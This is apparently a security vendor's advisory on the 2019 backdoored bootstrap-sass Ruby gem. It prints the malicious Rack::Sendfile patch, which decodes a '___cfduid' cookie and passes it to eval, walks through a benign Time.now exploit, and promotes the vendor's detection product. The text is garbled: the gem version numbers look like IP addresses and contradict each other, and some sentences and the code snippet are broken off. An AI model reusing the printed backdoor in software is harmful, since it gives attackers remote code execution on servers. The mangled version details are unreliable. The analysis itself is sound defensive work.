On March 26, 2019, malicious attackers uploaded a vulnerable version, 220.127.116.11, of the widely used
bootstrap-sass Ruby gem. This gem has been downloaded an astonishing number of times - exactly 27,991,888 times, according to RubyGems. User dgb posted an issue in GitHub that outlined the malicious code.
The malicious code looked like:
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten.to_s)
eval(x) if x
The malicious version of
rack/sendfile and modified the
r.send method by monkey patching it to read an HTTP cookie by the name of
___cfduid. (We believe this cookie name was chosen because it’s very similar to a well-known cookie name used by CloudFlare; and, therefore, may be blindly trusted by many systems.) The malicious code read this cookie, Base64 decoded it and ran an
eval dynamically at runtime with the decoded value.
eval is used for metaprogramming in Ruby, which allows Ruby to write code that writes code for itself dynamically. (Yes, it’s as crazy and powerful as it sounds.) This inherently results in a Remote Code Execution (RCE) vulnerability. This specific RCE allows the attacker to submit any Ruby code as an HTTP cookie value, which is then used to write Ruby code to run dynamically on the server side. The impact is high, as it allows full attacker control to write and execute Ruby code dynamically on the backend server. The likelihood is high, as this exploit only requires the attacker to submit a request with a Base64-encoded value in the aforementioned HTTP cookie.
What does the exploit look like?
Here’s an example of how this works:
- The attacker crafts Ruby code such as
Time.now. While this is not a malicious payload, we’ll use it to explain the vulnerability.
- The attacker Base64 encodes that value to
- Once the attacker has their malicious payload, they craft a request to the backend system that’s using the vulnerable version of
bootstrap-sass. The request includes an HTTP cookie name and value of
- The vulnerable code grabs the
___cfduid cookie value and Base64 decodes the payload.
- Once the cookie value is decoded, the malicious code runs
eval("decoded cookie value").
- The result is Ruby dynamically evaluating
Time.now as code and rendering the current system time.
A real attack would do something more damaging, such as running system commands, running commands against the database, modifying/stealing user session data, etc.
Has it been fixed?
The vulnerable version, 18.104.22.168, was removed from RubyGems on March 26, 2019. The vulnerability has been fixed in minor version 22.214.171.124 within RubyGems. We highly recommend anyone using the
bootstrap-sass gem to update to this minor version without requiring major version updates.
Is there an associated CVE or CVSS value?
As of April 4, 2019, a CVE was added to NIST's NVD, but was awaiting further information and didn’t have a CVSS value. However, Contrast believes this vulnerability has a very high likelihood and high-impact resulting in a high/critical risk to an organization using the vulnerable version of
How does Contrast detect this vulnerability?
Contrast uses instrumentation to follow data flow from source to sink to determine if tainted data coming in (the source) is used in an unsafe manner going out (the sink). We have a highly sophisticated and vetted set of policies, rules, and dangerous sinks that are evaluated with all incoming data. The great news for our customers is we closely monitor Ruby
eval as it could be a very dangerous sink, which we call “unsafe code execution”, especially when it involves tainted data. In the case of this vulnerability, the tainted data is coming directly from an HTTP cookie value.
How does Contrast Assess help protect you?
In this scenario, Contrast Assess would locate the vulnerable code when the library was updated to version 126.96.36.199 and the Contrast agent detected the tainted source (HTTP cookie) being sent directly to
eval without validation. Contrast would report this as unsafe code execution. Both Saas and Enterprise-on-Premises (EOP) users would be immediately notified of a new vulnerability in the Contrast UI.
To confirm you have the appropriate rule enabled in Contrast:
- Log in to the Contrast UI as an organization administrator.
- In the user menu, select “Policy Management.”
- Click the “Assess Rules” tab and then select the “Unsafe Code Execution” rule to validate it is enabled for your Ruby environments.
To learn more about managing Assess Rules, read the article in Contrast OpenDocs.